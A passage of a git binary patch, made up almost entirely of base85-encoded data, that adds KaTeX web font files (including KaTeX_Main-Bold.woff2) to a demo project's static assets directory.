zoaZKM#n#9`J?Q&Ct!)ZF`n9l>-|_>eu(tXy{{S&WIesSEmDo2^8s@t)^?Ig@A14bf@(gZO9?=NO zxi=)gAWfcF{k7I6%wBe%UH{<4%S3VU(X;KlH!WEL{)@MSWh1fbP>_RH+|9;cbz*qn zx-mf*d(93b{VV%d#ux3(j_wJS$FB3X7Q=w&yC)QpY3WaY*jc~!^_}$a{5gH||DVO6 zZ$=nCh2HA^S`|Idege^IJBNlDZnjyNo|>BGEO-Zc2ijHSAw>S;MiJV!jsAW;iows( zo^}j7Nc52P@HmPsT14A_3crGHpcmcBT9LMcw|vxesCmQ*x5v68@`}|#6S!i*_Q~kQ zLZrhGI=ez);OZkb=h~(x$(=TmJNa9&eK*)mBW8j?H^9lBs1+O;1~7xGSI7}`b*wM2 zcnO3GNhPi*zF9M)dOi^NwLww&7Z?3pqUzz1Tbdq@DHqJ|_A48TN!XwpgY< zKd*j*YP$$PNhd1dnaccxdKLtg-H}NM?3urFV}VtM!FQnNnV>tPXlQQLN^XX&Eu@l^ zzL{DzNU_KZ#DIkt*+_)dFr37k+BneIk3|e{8gmcW8>QYWj$QhrOVK9~7TGf=1e!O+ zWAs*5YOKpW6j=T3PXaL5&8nRs^1&kh_A23!eZ6VNKd=6=tz^2<<4%_wzACAfqb_Cg zKT#sAOZwk;X;Hc1y==les!?<*hDx3#D#GDVpHZO7bhj5-^-0~-e)?Zk?8m(Mi=qGD~(H`E%0YRpC z=H1x!0e<7_=<8pDI;|8X<9`din@Huft50-hLXO~Ks#Z=?cY4ONiE>H7^{_bvBPkav zDGTTFu8W&~lC?P_iWjO9x>X#{f|yAuD^=Ta&1Zq4te`sB%ULc zxF%5}(fCAzq(|}DOCN*{(+>e6^IieVAx3co+WO6%m+d@tk-&0r{~fp9kN4#JG}_{C zyuz};N__g@O?y{=7-2ocAy;PrUf8-xU~j*f&_7&zH48}0^=V2!4+@d|ExSi9hFOOhB8QL37E!xg11!cX-jV$KicAwpN z-0|HG+~N_=Tu&NM-{jhp2Lu!gUmKSn?Ao#OQ%osxU5Q9Q&X(KJ%u**&;?kz8WA#^^e(%?!uSl#MpL9*V zEdN^a6>$<#eudtky8gi6KT4J9&9g>cfHWS$c-GEW+cA^U$W zliYRD%rA|aU%y88!8}I_FSK0r9*a#jxkpn`-41E0Q_DQ!wV`~NTcj>N+SNC+dFy4h z-3nl(+SM1%4{4;Cz*$FWARAf%t}`ZxjR!>`*2#f_$u;;E!WaT2g~L36kdb!#4z0Un zNkp-tiSa|6&-Tx(EzV>F03LHnDF7IwZvhRU`lRU_c6SvzKlQ23Lf7sarX`=rBAS87 z{DyjP+S*&i%|QH3sl<4#?6t3MWv^|vj=~D&74%7$S7`{EUdJYVw4c+!TY^au_{w0` z3U;J7g;YtK_h2A+aruzsThw#;rV!6*nji}8X9NBJ`q@K>xd>LEGMR(-+_>(zhNu*O z)jUiuxaiQ4xpTBZcQIob9qG-MU-GMZN1ucNB6e;7l-Fx`ymQc<{ANpH1B&XimUk&C zXr;{ST>pR4v+k%bwjVx=KI`(55sUKdX4si=ed-*gRICETgpMyv`*rfa)C;D!8|Rq)_!P-=P#uEqW$z6 zO3eao${A&k)0U|uZr?#L$t~KLB5kHu2H*BZmA!kUr?OGe=NE%qh-dXCigcC_^*ga_ zx`Q|RUwz%+JJOJ;_QY6(G}~>kHH6q$ZzP(@#3HY4=!wMOrDz6mSVAg7i0>;U6X_ly zkSz7_(QGj@jnUDRrMY3Q#7Ld~Dlw99<6fGT8cnyF;_kx4TWwU{ zu4I7yqWjdQ3{xTUcBm_1Yb-w7)0;ZacIDhpc!HPDeZKGsP~GP^qkAF4q+k^)G1gpF zUeMc;sO8pi_2U1^m$C2#B#Z1Ai*I55JuE5}Q?hC_Zs7G0#z=*a3TXuxIP*^kW`BVG zjz*L59C@__?wqr==7l{TF%8v{19?*o6go{+(^VE}ANr8vpgW_6O7^y{7(P|dJA;Pm zQ&{8!$uu+ycmM3K(M^Qg>}HrCQPN$PEwMwree7Y-6lltWmk#$@8Cfm0_xC&sZ-(jU zKMHEFw*Cl>Txzl^f+`}`o?hWIu>Rav($eti&fo#06apAD+l>1;A;4Q$FoH`uRjD&x z@sFF~YH!BGbtL8clFLfO_uvNr?BhBxhcWBtXBOQ7SnOr39Y$dE@?L`z6bQx#0z6_x zJ)Ixrkv~!lX8)uX2@yXt_bc9xL`@YszTxifU*kC0-HVt92@Z;M*Ll_K2~=$9IWE@I z&CQr^*D|)F<1JkxIL~A5U2i{BI9lAV@{tW(R=#@5i4H39RB@?{kbH2lpXaf<>nN3)*2U)y-g%}+xt_VQmD^*a6md&#q;#9vH zMfzwc;5UPEq`#gI`6N!A&Z;V=QE7|-36XFt?k9LCnU*T)cF@VvCoau4W`E{#-)UwI z!@xWm^dr9M%^^6eV;8wC)bbhLl|MCim&~bdPT3_(fgZy?R-OnTK`-}hiC_tUv+U80 zAYg()R??7IpPCxT^chpY3CKhUlNh`059qb6=_O_;Xhk#1!Kg^EGogf%;icq;WB+_&b!*sei_HCoSS@*eMqvgv@C%MPznk|&hJmJx%LDB^mtDZeP1boXcKatBu_XGvsc(o4B2V`^tW;6wKu85n(^ zlfcUm7DWD?88ZlcW_fygEHs82jb_qGBh^w_!5W4=w`CC&EOgBf6^mn7w2u3t8N$gQ*u%eflo%GzN{}l6i-M)GcssLK&XcXvMakCmK9~6 z#-VtfGvZqkoC*7msK6?@*fo4oKqlB&6S%yHS#CJq9S(24@_lx`r^DwDCZdUttd!7LBR+(K=AfU1g%FIU)>8B00&UX)d^?Ob;SR86~iir$dkVEi#Z{-69DS zH6>n*1rh=dOeeU1O>_-}R3ny&@ey`F1cZYohcql%T?r*<`<&{U075(-t*RYGPvibi zb{z3Evm4w99ZlQdDTTI6$KB0uyPS|LY2LCL`y2Z&w0YS!Se`Sl*zWUfzry5r9JFOV zIGPQ>;}9k~f&e=&4f+6KWAl{`>(f~0%FQ~9z!%)KG%o`g-8ValhKNl)K-SjNKj?5& zUw6FqY(LaAk9B&0bqYpG5joaaf2{=wFpGJK=fYQS&{(4 zu?3as<2>G&$+6!<5m3b@fJrb5Ye{f#~9@j)sU{)z{=;l&szKGx{BDGUz6o zX{rw{;693zeN!?L?Vx}`uJ6zLDEjmbSBG&x7Fg@r^#;qW@vuSgu!|3(0NZ$1<4KAT z4}HOt>up(GcbatMn^Z$Fw2YvuMH)`3<_=h`oeNKABQF?lkdiGWL7=R)C` z9j~Q8)Fv*1*%j-9zH{UCEab^hOgDakhA_jdm`{}yy|1B3L3dss@s-vp%_G@2g+y5r z*@e`)a8bMtZ(2ui-CR1CkpI555{|4bpx}=*p7;n|s@Ls+UZBnHy4A^U|9fVPOtT4d z##Iw-r#&ksW7$@7Lhe*NR!isOsSogBDdyXCdFZ0ZZC_lr`pKSdLDzVm{iic`AYd~p zFY&C6kdP|LL1o#Z18W25@1vq5FTs24(;t|axhIB22!)#H{R_ zT)lUN!ATOI8c~=g#1rV-%m_Ilu~}$aDnMc-HBZ8N3d`K{$UTdB&eK9y0)L5zGn4ON z1wjjl0u1bea>tv(i>G4aEV6mczxMEw8J;)fQc6I`X2}H94E#&MIrGlj0PC6}3&5@e zDSRxdW{rDXjDURp+ms^vNtXDH{r}@VG~kK>Trv<6x5lm{Pu6X%do4LLP(^ z<5b;fJElrB_nQi?+;l({1pF`PinE|}`rvw15dFS+YtY>zptooS!ReVFQk>?tEYTca6OaE1-j}n>*sj%r3YnJ)O1m3{PnKJ zH(D6>`9(q5c<{9-*6l%b@Hzn*D#38$_v;$J3Lgaz#ggKa&W7RT^ZD~A!7xRz^+s8= zkj`W*I*Vz^3i#lPH_ojeLI^k_Kt=d~Z9niv**4s7+f8oyB7wI|Wo%P}&ip|^o1!YI z+rsuuZsWD}6~1xk56a!gyQ|giH2j8LT@M-EW9OE@xT`bQOB34Wu=*E>r~dpPQGeek zPTP+sEO}GAw$=rYy>ZMQ<_hZqDz9yl*>KV^dPi|Aiczl@vHCx* zHj|puX564=o%3w9)+6GZT8z~QA`K95n8)|6r0m(^1T3WcCS~|wQ-c9ENR2E^J}V#A zImC-%q_(0g!kq2|;r3`Lr)e@~JS)AxyTLJcuq}-(@>Fk{+@G^JpD3=pkBrIz0tLg* znuCee<+X??^1SizN_R+3V9A*7>X4aHnol-$5>JyQbMh48I5u7EduqrB;DhpH9~n!< z1|4hpLzr3#8fusg%hfx?@`_r-Cjf6exCXHZQ+i?n#5vjS%_>;+9_YZEK131cIUikQ z*5)#L{{w!)D!?KMKeSvFeVm8F-YJ>Pc&h^rLTr!$Tr{K0oj-Gvm&M6jlZhLTG#>SJSHcLfJRa%u!!fv!UjBIFIk7h- zbG*%IqO|(1k+C=?|5+D)tb!7(C<3q71{A=8WhkH|B0d0wA(ociC%1w$G_K1MAGl*h zho2V(QDQ@P?k01I6TSQiA`$8g!=>{&fy~`DIxl!aKo4Y^5js}{w6|B&qH-sbrq2q4 zzYHpJK80~SD+7y!fF)9uJy-9NH69R7SlWAMcva(8y^z2Ncunpa9{?o&g@fLt_KmV! zxm#_7A7eodiV%Y&#>te4SRcx=tX~rM|GCfija`10%_1L*%v6phYKlRZ7m)R+yX(=W zD;LbR9!Dq8rt20}lfUG+j@;zoJh?RGkY!jQcPA8t$a+&$S3Y*3MKK+}`)DyMi5h3~ zoSf*GU``xYFKGf}_@z!yo7Rdd&)?yko=GO@Zq5v>R20*Wre-H(q=7jTo3=(2cW$)=4! zK9)}Yx|Hf=KRa<%|)@s3m6N$hNHQAm-#vDE|lHT1xbjBCX!gr zxUCVMTWSU|17zLSqKy026$Yvv&lXa1`-3dre6J_{*XBuctijX43moD7ENue1j-Hz( zMYh**oMtsPP*&gvimh8BIY~>RZ|9$y2x%DhKH4ovvEP)1JL5x z@t{J^S@y+!f+6gCvDNDHwcB3U!*A(KvurG*D6w9$w?Ya!gIFZPN0%YY+BzqqQc$|1 z@n3gHmXSarr`s$>%b%0w=a$dwfRgi@mp-fgS$2TsyHd)TtCeVtm--w9-A1qiv;T!| za3j9imc~uynQ9tl0?&9niy$|Xwn$420vacZzRm({@6O6fPz?fVyu^u`Ph=l@5dQLk z`&0SlE6`gt9kb!hhxe=vTc#?VxrF?Pg_W@Ke_-W~C*Mt1WPJ8N(F5p9OodtHT2zjk zI_o_&ua(U=@A-SJRcS~6vFUkaU41&8PkZffQDxi#6(qcDYO-79MActRI7!wxxW?Zt z9zLyiZP;`JZ(clFQNr8TFFtQ-Amk4T+!TZt<#aJ%TJWu|9w^I&p88a`s`{MNK!+`< zOSTE%zwShF@w?C4r4R~QmdYQU8E-tXWWec~=rlXFJBaZ1#HLNIE(NGg@S34mCEF;~ ze1D6Zv8MAvs#zvOr?LSd9?1Z2`}@ClOz!0$8!V?c254c-2fq1D)`0Ukk>wEwv*6}( zOMx@j7`#^>!yq>krZD>)3ZMovN~n7`#bwK->SE198QInu%H}+r)|$B`%@Qq2x>cba zNFn?&i02;fS9YD-}~C|}roL##7fk!2PDu>ko3YWOuiA^15Ku>)_t>W=qj92tS4u_mvu zy2>XKhz$Mmf;Jn!@-qg#!a1APwSFrbt7Fo>zm zzKm}}&oDX@A^6V`zlq?6{)7yfG|JcFIA1hsBS^+$GTOEKGaM&ZWuE)Yu7~`C7c2t! zCyf3?;d$kK?`wQe;8>OuV9Wc;(e0nS62sdCDj)aFegHj=Rx!h_KdDwMR+}$`^C-~8 z;@p*X`McA+;@RE%K6NW(N1_+8hJEsKA*8In*c5;93ORe_7oxFiDsF`@J4wziyxKYP zSWNld9iLXftAGMvaq#f64i$OlNbRWa3n`dwsw%AimVMoB_NfPD%hp?vRnx4{@+6_V zgXXR@lX2*WUOCMjzudWW%T^ykzAd|NmM%U#42fN!k1QoXd*^MSDOtPFGB4o{2s0|d>HNBfE6A>ZWw4Ck;-z*q zgQum$@B|7oJ+8Lht}tsJ%$1F}d#_!Uw%L0+f3wz%ej&*W%FrxEBVWit^J~q#cPTkf zJ>8s1hC;mX9YoCkn{OYQ{|q(e|IMeTtzcsC3Vhr3Ckn-C%L767ve5Lmx$@1nc;1c3 zr1_R3h-~n=n2amnauqio02?jnAJZhk>abxlk+_n#V-_zN{Ua8N=i=yfTcN`WCgD$S zPWMSTV|FNxqV!-TW@bQ5_nffxP)L`qex1fZ*r7HJnN0(}NA_-*V$~@wd;*D4&ZT+N zE`p4mgO?xJ7O?hDOr6U8cy?t2?ZOuP=C zCq9rBbbQCN7c4KR-_AEKT9(jEacMmetXco;>4bYo#~^~DA+=(`uQ!k(cixwvSoDA|rodq?5(w;zbe{0K&Y z^Bs;~vc-pSK9AVd9dU7O(%8QuGSe}$LxHRE;)b!w?S9nk*U4ZyCw3gZz;qEiX;YIw zIc-a*9dl~VWlj&{%B`Z~dC#EjY>O^$ezf~b`JVS42?*OxWa7)GR_K8IH=K9D#zK#G zX=R;UD)it>)>Z>@PkzI+02OW7Qh%VdCLo=OOTpnyGFqD{=;o0vv}q+gr(G2k4~2w6 zZI9^0r7b5&7`}O7ui&ho7=EF?OG5tmCK1(rYkauUWj}>x1_Wzg!N&T9^y+#BXf8W? z8hw>&T%D$;3FK;&Wq2D`aNWl~Bw!~+pDT!-@}GG&00<#0pkW?yk_HM3OYfXM^Piw- zvZ)Dzh7recqKxjspoj=j`vcZLzOwNHkQ5{`3o7uLKTvy*mc!u;50g zN_EaNpxh<-rcC)Jh_<0T1svj7kqs&c$p*Qf6XeJZzss3mBZ1{GGUY~Zqel)p&Bz&g z0qtTs$o;+D!+3@k*xq7;j}`bmJ{=tJBgwA`5+pFoJF?6*ep5SG=?)+ma?+!@GN#3 z|Bb|$D4`1Q;M1iujSIlIofS=0=s)v6NED^H8GII8vpxKi|ytDaZ$1RjUm8FEr<=R?kM zj*7eGEOUM;k;QM7wEas1(m*9WIT0V|pV=a+l5%uwsYuTYg_$kFiD+=wtrCivm68!X zxFQtRl-+lGXNOiaDf}6xftE47O}lDdrWPIAMNs=m6?1RK%1uS}rK^D(OvrN5=0!_o z`_Ak3*~xwmEGaDcBWQ>Kw>H3)c8(|GiSAV@29;&)UHQK3qVeqmoLb52j^cR-&)^C8 zCE>3dnscvJTj^ABk@C&<{F^McAW%MP`q*-WUEsFb3BrwB#_-=Srk4@Q=Ay=+{L zYGK{6)yjH}6ID^280hR>x>4w1GjhTgv!WVlz=#uL4$nJ@?m}&NIthnu`^?~Pqedt` zy&d=hj$?~Ac#RX#SWg!Ug*18cfMZt3^^g!G*V)k??D%!*7d;{be1_^)PzUiiTtRsHYP0pEBZlAmF;bk`3*L~S3+RG<9H{BG< zq(h_wvVtK=iEjyuVt7kjku=o+V3CN9n;d5zH_m+BZ9nV-gd}Gx=@AMV$4!Io|B(>?xMVI$)V? z*HpuOlba#)&~pCqf+-{O*;olHKr;H_)I zYk<3+kP~%i!I@78(t@|J1zrPEIH0K#_xPK@5~Rrdm$LnEAuLm~ce4}d7}G%|E9(^% z=U$C3UPG*N&PMcoU6c5?ytVO7UXmoVpT(?Z=xXDC8b5&uM98Aj_P4%eUb`Bc*S<1j z;7yx9$Vw{d1{(nk)fD+h-~QM;IPvwH7Q)}s>-tf)#h{w#WCT8SuEsr@A#xOw#!njm zqw2cG%N*LKNRo2q{hR>X&e?og*Hn>v$764Ql$V04!Q#fpC5mmS@o|jL)#mz3-cM*@ zCEdT!64=6mtd(3lvfF$qE;^$Hd3)QMYl6Os?`C;JjdD`|fyR%jM;%d;MCY!rJ=+@> zIJDAG<=BxW;|UIet3Di)m0)Ul^>m0sAW|4aK+!c*{iCTi9Msx0nyfvJ<{Y4G+u-z! zckTbNC7$mJ#|RvKu5Cz$JE!X^ zpKE)o{_I)*g^x!S@NM06D)fmDI0pC8h2VUY`ltYDckJsf#QDp%tku~$9~I^(K!vym zkmu)V^N4;|=lEl=63n%Etb6^9qN!rr93PBky9S3wqA*Na;OHB{Tq7j*30|)`$YTWZ zK4$oj#N(XUpq<|kP8}*PhGE#U&~tAXyT8BFl^ZINYz&%b(=7jEtQsIVc3ZqxCO4gb zE!W>4FnSs_=YAwO7LV??tmVr!-4D{(WI5-%R!pM z{kU7PH%L92c|EvLf^aE4bv7}4eLw)w$MJSYzPDVRh{HzPZhWrs0=mJr&Wt)dZ^iSy zm1;c>TginDVb+8Z7$I2J$i(2xcYFa`q%xR(Q#fXt)Ei~;UjBog>YPWG&3J?}Z@p(6 zbbaH6#tXL1b8RSST;j|Qo3J4kwvw^!nxUdRPa*kH4M7LnWj136=X_3j7m{R}s< z=|Sz@v_wu)=uO0xK>++zfCty30l!9z!r?RjVDNmvy`dF8^IL}D+;{GeqbnJQi8Eb9 zL#lY3ZeBruOB?OfGvq`7`fQgJy+EL*y?`LGl%4v_6IMxi;Qcy){^17$9T#kQUl_q& zbnT-Gz-4~KK@zkh6CWgA82O=V;Q%y#$N~E8`@X6{@cs8IxlZN24+l{9roXXAA*noc z4G$fN^x+>|GjQe}NC|Ixzy}eb@dNsbm3dI7nC^2x?8VOnA;l!Upzc|rM4wULch?8E zmL(u7T?O+43Y@tSl(WG$b<0~$E;-0Io_O0$f^g#k{G|zB8Do~bJ~ZG09+Cz_I2;@HQtRVLd zY+Xqqefi)0T`1=X?5NEKjyn-YL-D#WLgAag&6~PqIgAa0M^SKGvk-Pbcy}(lro+7*| zRiVyxbe+o~oKP5E205n^PVvw~a+mVZLw0zsmY)1FL4N6FyJzxEwH;MQacM3r1TSfZ z7w++kZL6jk5u)5@hgYxHtL>+4{Fw*d zQ*)jLW%kFYh&0BeURCgNWd(jN519&hC-17W)f$9&KldBVviR4$Um-_=fPTxKJlJ15 zaLb}aw;&mF_*bH;h`(fc9{q;bRPHzE{RjH12XC2~xrJ7WGw)$uf%S}!Qs8`ZHn(yx z-LzTr1HVg^o0ch^dx!y)BmStWt3y?)w2a8ARa?<2YhEIC-iMlME+z1$jqq}gxA|OQ zU=J%uGCT=g!60ZNi|z|8D)5LEHCT<`ElUE10sJveQMixMOdN$*xZQxa_4XhvNN}?~ z(Zd7jgy4Pr`5bAbyDByN9sFe!V+0~2hY0qR1FTp`~SMQ7PbqRv&G-P1rY52=#Jlg z^BVx)91CIiVj+6<&=5Gtwqf5@9RpuN5FY#Hx4sGL;eJ|oJNwVfEBLu)-7WLlYFqu> zSI$;#d#7iR_d8QJ}IbN5r$U8G7_smYoe zgu#hE7HftRiuRf2Oz!&Y z43_*Fz6xKPOC4ccC`1GOqC2L~ zr)`uJJu~W%;6(%Wns6{v!@jnPdF!-R)uLdz6`9$NTjniMfJ_5T$Ueon= zy-N?OoTx-Uq2+IhFomL5lp}`UK6=9r&*p2DzItd(M$$-wej1=%K!|b90|n< zM>3cgp%zLk3!Nmv7VDYxcnk|)iDDInWB~2wQ4Hn=(=lBX@7S9&& zC*c>aw!;KVRZl>+Qob0M>vGj}hFmus$24l^p|5`%-pv{a8v9wA@r4@~aM*_faP5y9 z??92~mo0mC2mCK!(Im4vbD9%HjBb;7LD9#6?QZ;^OD@3>y2qW}cfHxswc^_2HC}rp?p|{BU2lHVlDoZV(Dir% z{U!B_aXDg@TJ53`Z%p1RED|Ah{(h?Mx^j zjrMOIiVP%p)n_RkOGXZNmzPaQI=f2r&rF(vAtEFif;lZ?wYB*Z zy}4j~a=XNpIcZr*M2`%iz+x$5=aXYMrsNH)L&@&x)Nr3=^$w?}dXk~l8|2jS;?AXh zp=ZOIO0K`p=j-pA%%8YmWP@Lr8S3chtxMo~9WEd<{VS%MX3;~7IW^-FZHg(dd1r_H9S1N!19d$?DPDk%oDMc&wopuT{k?mJ!AP zS3fPY{CltDl;lN^aQwT_H?cFa;@)G1Y_Pm>?A{e4mNl~Co)bu71yL3SRzmOi2U9x9 z`B;oNK%co==D2%4Er751C)aS??F=wULTS4RrO{%aR>;p?vgTVEifw+Fc^y);c$XAg zu{D_4h?Gk9LGm-@2+6Fo%2KveCVMb;;g6 zOF4V*DD)y6648l`Q|^s@eFI!eq)wRW_GqvPsvi;P0?plF z1>Lf9KWgTJUN_!1zD7l(lXpsbltl>3fe?pITUZ&_F(A;kstCRmnW{?8j`iC&b0D+m zpI8wq?A?vu4*O7sf8bvI!h=3C{>W?!ZbkpfbW#sa&>JpLqHbR=1)^DdmhqHqs>}m9 z@gs{Evy&)|R2BhTel4f+2qDwY(R2JS20aB(U|{$#z~Lk4?~q?+8^4Fz7$QGu+}OAQ z3!mr?0Zz~!n}bgj47u~wPe zu0+eGr{!kKJH0Zm$U>iYJnwz>ZUX6CAtSxO2g@1S-M!gHPN0)R$ghb!nHPstjWq(i z!XZ&g`=)_KfuO`=B#4UF+B)F$b~g?MOp)~Bz6c%JDfiM{SP*=QDGXy?erK`FKuz3A}_#ogvy+z*B_fkt46irI{9IbV!rT#p_&rjw|B2ojDUoG9#Evl5NcFq zO*f@~`}e@hwW}tO>GFC3CehERJ=|GfTZODv>p?LFF!|M;aXF|4MRmvCy*pINP=hc0 zZqLWJuZmzTpeO$3<-ouHO~NoV3BKm#n(*I5JoU+U{^8QMqFHK1`0{_a+MImA2P0m7 z<+)4Vz_U21cb-7>GXhbuovZlGR(@?R8F;=3Jc4pnhoUo8?K>30odxfA%@OYO9cVg)@**G zHC0VYT3A&D=dP=oA~W@onJ#V9+`>|$ly~(FS1WCEgYD?AUt4a}jD4ez{1JsqC)}9) z!tx_GVo%GK4B;GQOAMl`DAKvDV=j92I=<1_oMSa#g{KAduwbdtLx04C&$ZUzLx2BT zw7!~n=2OHU#M0U6qVd>5j4z-l*ZypBs_D6U=aN$_y>WJxO7ru}o;d)BLE?{MUuSLr zJiq=K{>Tbw?tSFdX!3w(1k`dDEAdk*`3l$M-*;@OY zmHh#UMTj*7!C(<>H|9l7^Gx|{F?BEJ3^iB6i>Jf<6qWhG^_L^i(TsB6<%m*OGq8T< zp>}-$`sBPI`-ac5VrnkrElO&9F2er%8`{Y#^I*&|rG@c!7k%uUnm0e*9-I&3yx@C2 zXnwo#FOzXW2w5URfqkv;yFL%d``VHCct8WZayJ3W6pX7@wIcDq|H8sbhbLwW=p|x} z1sCMY7U%5s&!{>=2#{c?Iu;rjOMeqoMGoVgSkpC$(|-RUEHVEt5eTIqA zp0SGwXU3Q-n2%XLR$tafc9A`s{en}M(~a|*tNHUF_cf2n%kxI?w(?E<-uzF3hJt58 zwQ!Jdg-9zJEjlE6D29vaVvo4Gc(8bp_@;y<$xHf5c1X$6veFgOYcjWNxa_68uKYo% z?-dY*P0>KHOG#A@Rz+1)Rr^#Q)txj6%{FaN$Jd?EWA&BvbM=o6l??lhJYz@WDU-s~ z%XHRkH8(TQF<-RcENv~9t#0dV8{Ia~uD3V0Uv-ciQyfQ~JZF372c?0096100961WfI6YUk^O>01pG`00000000000000000000{o?-g2o3|c z0000800IC200000c-nQ7HIx-W5Jg{if85<+-Q9g=aCg`Bjc^EYO*h6pKe#&?PP7@W z;U?(kRc{Z@?z!ic%+yp>_s1vXfq!ZWKpSc)7U)GtGFRYh4?Z<88^F^^=D>7I!7utqiUMfC^-)^0$G$wRX7Xs6z$gb})Vl$&t~_Z70>t_jbCJxlPmfNgsXH_P$wqrVgTR zB+%K2;d{eW)V`mjdmu(FLke@l=_m5p6tygRUN7S_w7Hu^i8F8CV?0Tt+WkhcDbgFMv`>hy=U^CX#aNpvJw%!@ zi++ss<>uJt&fo)CLmKU_8&tm3Cp%6kS zkex*~0<2$V@4zCgAW4cd2<>|CoaZAR`1(xmMW)nMEzxiK1;*1(lXHl)&C;D3IQ2ty z1fjOm@JaBGoZzwEaIu|cQ{~*0UWW>*)Xn1D#hkZ>@a_pV?l~rq@ZL`~QlIEYD01i3 zY|rOcO51kDJoUd+3$9P={|l+-?2)v`3jeCdxdIaUfw^aU>*9Wg1I-)6iruaUNyiqR z#SPLc)NpU+8^-YYSn6m|iMyJi#wdP=loF3@62C(?l8Wk%Q>l~Tb)eGr7z^w@;tc#h z_#N_x&7c4Pc-muNWME+4{_hJz6o=p6NB?JY@Bu|o0HYWHvYrP8c-muNVtm20hk=!W zfvF2fGcfc(XvPN&hKx)MK)}HO0Sycc?*$m%yk&rbfHc<>1_uU(2MWvz|1B7zn71?X zC@?Ve$1wwSA7WYuRHDGZ2mm{W5h4Hpc-m~w1H6?n6aetu?Pc3_b}qAR+x0`XZQHhO z+qP|lN^&ui)`va^O3(JbInyd$##pbd_Y#Ce4Hre${ zOtHJ{y(_(|BG1YX@}v9;zb?j!Nn)y)A!doWVu4r;VId;Kh6IoVB={f$T$Isd3>izt zmx*O&Iaw}{OXPOBTOO0=k)gma7#<^GEKG<=5zviZOo_QL9~Q*ISPV;JIjoKKu_<=N zzBmv^;AEVSi|_y*!e{ux9m(zXuJvyAZujo>KJ(S}we&ymfAl*k@}^j&!5HfSR{NJ@ z)i=k*Z;p4?QNcP6@WcEPzb3~1;g~NL0fz_>3*tj!fKVKxtYfjek4gGDXK;CNS#VZxrt{Fb=iG5_IX4~cD2Ma_-A{MZopndu zUbof_)E+fd4N-$tf7M4dQPEY1;`D-^(H*);n`k3#p!KwtmeVp?LW^l3Eui@{p2pB9 z8cD-xFb$-R)Sg;XU8+u1sWMfhl2n}1P-+TKU&em-Ag>Y!;%&{YGYyRQzw_p(J^Qp-mzHQ8Lb-b9iXLjJ7uFx zHi=@(KMXoGgFPKAD9qbf)jsFLn$}$h6WW0P+rq-sUpv#ri1u0@mOS6Wd_CCtn@`SW z>;rCXk!p>+agJAWK>$hSO%+X(s=EW6W&137(y2ZW8*v0UxaEhW0k#eD>IJV}gk~57 zfk|xPux_E)@lm{CXN&gc8@$J>dvBs2u(g?x(GEC7_UQgt>!{Xtbyh?3;0L zKmk`fO0Wvz0Qdx43j=luH_~bcRcBySXwRLojs|B)ogSp&>=eV6q$lVhc(IJ2-6dO? z+zukZk!0(?@vS zI0jBTK4VD=>#fbqP9gM3H31=MQvFTRo^IA9Elh+cOX5qTSm_vsk#?)9L?UwDo{y8# z1rJB1izAXo&V}&%&6|dp5M|-IE;CRen-L|IejER5n-7St8ey#34&G3S!SW{Y&GME? z@+@zwq`=ZtNs;9pm6TZCRY@Pqdn)N?d0!<1ENvxw{9`F3rX@7c_y^w>2h|B_+;dou(rX{))VB(cFWJFD=KjgRO)K2`utxTKphnv?us zztY2G^iO&%PDV=}PaHm;Ns30*^Jjw;<KY7k)4Mn>Gr$< zLw=^LZTp`KPz3XHVXAmLa9s&Fs3DeVgxn0Vq|aX05Qv`azfwVmZHYx4waHx2kxA>2 zpLAzqA_?R@B{!+Zk}_-(P7-OB5H3n0Ig2DqND_z==xRLc00)^8QglX%B0dPFyD#xm-$^7EZ&+nn<576^Roih%epa;*;gBNX^lI6WJ^85{Y{ti9=&^hDa6MFCkJ@}3amG)(u zE2%2{`}4O$f130$m};%bm8ElktA{hcFYDSLV@v@@c-ms{-obDJP@^;)I1q->H`W@L z#c7!|5&Z?kIL{Q24q~I0F?$O}AD^0igQAWDoeD&VP=^MDs`U>V#TYs7;yp{tDgNPK z=>$vFNC1m#NVzhl8limcm<3<}VtiBUMqe+l`!Uyu@gH+vL@Iy`-i^Ol3dJ!fw!Bu` zxe=H1DL%6FUD2n`3!Oa}G>FA%JP5e}p~5SWc-mvY4J06tX$1oVlPD1H`2P(=GxP(Y z34;mKI-uA##yt!S|Lwr?+y8%M+Rk|N|F8cRAU*(@n-E$6c-mrMVBlmZVqj)qWZ?v| z7XdMZ&B!1E3>*yGAZ#FM$FL8|W?_(H_yc9LGB`0xLD_6b;=D{Lj4@C)AArAF<|#V79$#y1JKT(Izx`HfZRRv8GllNcKeM!GGf`@V5@q@X-jm~l z_9SuDPreu>Gy`)K=$YFjuuD$3Ae__snZUAfl*psb3DOtNKM1Ufld0}l!CpZKIt#byR=^})DQoAKtZ0mt1|)#qME;j`l=!s z2HIPct@G^|n)O37#fNA1_Vd%bYo9-iTv2r?Ltp+??PH?27yRSH8@|Hz#2RL4Ugca( z{!B#7iq93;@x9bfhFbH4iP*G?^hOYHyP}iPw*Och2 zfpFgG!RIMhz08{SP1@#ObzZyXpuXSpEkv)K?0Rk>!_arAYt3raZ&x~!apE-F#(jRt zORuA93&&JFa(=Zoec`Cn>lZzau_^u9OEf1_U#yl*dsZeQHX6V-_H&gj9N{wu z`N1J}agmo?;tdaZWFT+(W{|;#@PUtf;vHWMHOz1$j5Nwe-i``Mi2u4 z0KhIozHQsK(T?0iOk6@zN?Jx%PF_J#Nm)fzO^18;Hf4Sq%zm6mv-tV{`}Q<~F-%};%_5k> z%$gUlv=$C@VX?KNAH-#L>uX}h-8G!%_;lB0nor4PruIE$xH@}BQZcci2d*^rnlrJa zZq$#8^ztZK%g@CH3F^)+m1$1;#Psw6&-Gylqb*aKBv-c`(F%(f4(jh@3>&nJ{LI9Uo}I2l!khZN@)$9 z4gEFzjtS};j2dMyx5gRFr-_nO=AcOLugT>?dMoKh&;xo%(6i4cl{Iyt2Ync<8!j6` zqc94kXm3lM5t@(U5#Qk@}W5Mlgvgo+^SxJLvxhQA7~^s)Dt(b|-x& zfho*jZuLCqPlox`6qeQk^{Sq!k+n2sQRG7JRU^y+NeL@hPsUXOQ)?Z<2*xmhDa>Fo bnfbLfgSm6Day;iB;wah|00962|Nj6Fv8wea literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Main-Bold.woff2 b/demo/static/dist/assets/KaTeX_Main-Bold.woff2 new file mode 100644 index 0000000000000000000000000000000000000000..ab2ad21da6fbe6c171bb869240954d0ead8f68fd GIT binary patch literal 25324 zcmV)6K*+y$Pew8T0RR910AlO_4gdfE0Liof0Ai2;0RR9100000000000000000000 z00006U;u_Z2wDl83=s$lg2s4(`b_~g0we>7TnmIU00bZfh-L?l84Q6k8(p9$#9e#j 